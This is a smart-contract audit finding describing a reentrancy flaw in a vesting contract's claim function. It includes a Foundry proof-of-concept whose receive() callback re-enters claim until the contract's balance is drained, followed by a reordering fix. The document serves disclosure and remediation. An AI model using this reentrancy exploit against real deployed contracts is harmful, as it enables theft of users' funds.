Jumpy Violet Ram

high

# The `Vesting` contract can be drained because of a reentrancy in its `claim` function

## Summary
[Vesting.claim()](https://github.com/sherlock-audit/2024-03-zap-protocol/blob/c2ad35aa844899fa24f6ed0cbfcf6c7e611b061a/zap-contracts-labs/contracts/Vesting.sol#L82-L91) does not follow the [CEI](https://fravoll.github.io/solidity-patterns/checks_effects_interactions.html) pattern which creates a reentrancy that can be exploited to drain the contract.

## Vulnerability Detail
In order to claim, a user has to call [Vesting.claim()](https://github.com/sherlock-audit/2024-03-zap-protocol/blob/c2ad35aa844899fa24f6ed0cbfcf6c7e611b061a/zap-contracts-labs/contracts/Vesting.sol#L67-L92).

The function ensures that a user cannot claim their vested amount more than once by checking that the index variable is inside the bounds of the vestingPoints array. Then, for each claimed vested amount, the `i counter` is incremented.
```solidity
        require(s.index != vestingPoints.length, "already claimed");
        uint256 pctAmount;
        uint256 i = s.index;
        for (i; i <= vestingPoints.length - 1; i++) {
            if (block.timestamp >= vestingPoints[i][0]) {
                pctAmount += (s.userDeposit * vestingPoints[i][1]) / 10000;
            } else {
                break;
            }
        }
```

 In `claim()`, If the amount to be claimed is greater than zero, it is being send to the sender and only **AFTER** the external call are the state variables `index` and `amountClaimed` updated.

```solidity
        if (pctAmount != 0) {
            if (address(token) == address(1)) {
                (bool sent, ) = payable(sender).call{value: pctAmount}("");
                require(sent, "Failed to send BNB to receiver");
            } else {
                token.safeTransfer(sender, pctAmount);
            }
            s.index = uint128(i);
            s.amountClaimed += pctAmount;
        }
```
In the case of native token, a malicious `sender` can drain the contract by calling `claim` again and again in its `receive` function since the index will not be updated.

## Impact
The contract can be fully drained by a malicious receiver.

## Code Snippet
Foundry PoC
```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.11;

import "forge-std/Test.sol";
import "../contracts/Vesting.sol";
import "../contracts/VestingFactory.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "forge-std/console.sol";

contract VestingTest is Test {
     VestingFactory public factory;
     Vesting public vestingMaster;
     uint256 startingBalance;

    function setUp() public {
        vestingMaster = new Vesting();
        factory = new VestingFactory(address(vestingMaster));
        factory.setOperator(address(this));
        startingBalance = address(this).balance;
    }

    function testClaimReentrancy() public {
        uint128[2][] memory vestingPoints = _getVestingPoints();
        Vesting vestingContract = _deployVesting(address(0x1), address(this), vestingPoints);
        deal(address(vestingContract), 20 ether);

        address[] memory users = new address[](1);
        uint256[] memory amount = new uint256[](1);

        users[0] = address(this);
        amount[0] = 5 ether;

        vestingContract.updateUserDeposit(users, amount);
        vestingContract.claim();

        assertEq(address(this).balance, startingBalance + 20 ether);
        assertEq(address(vestingContract).balance, 0);
    }

    function _deployVesting(address _token, address _wallet, uint128[2][] memory _vestingPoints) internal returns (Vesting){
        factory.createVestingSchedule(address(0), IERC20(_token), _wallet, _vestingPoints);
        return Vesting(payable(0xffD4505B3452Dc22f8473616d50503bA9E1710Ac));
    }

    function _getVestingPoints() internal returns(uint128[2][] memory) {
        uint128[2][] memory vestingPoints = new uint128[2][](1);
        uint128[2] memory points;

        points[0] = uint128(block.timestamp);
        points[1] = 10000;

        vestingPoints[0] = points;

        return vestingPoints;
    } 

    receive() external payable {
        while (address(this).balance < startingBalance + 20 ether) {
            Vesting(msg.sender).claim();
        }
    }
```

## Tool used

Manual Review

## Recommendation
Follow the CEI pattern.

```diff
        if (pctAmount != 0) {
+         s.index = uint128(i);
+         s.amountClaimed += pctAmount;
            if (address(token) == address(1)) {
                (bool sent, ) = payable(sender).call{value: pctAmount}("");
                require(sent, "Failed to send BNB to receiver");
            } else {
                token.safeTransfer(sender, pctAmount);
            }
 -           s.index = uint128(i);
 -           s.amountClaimed += pctAmount;
        }
```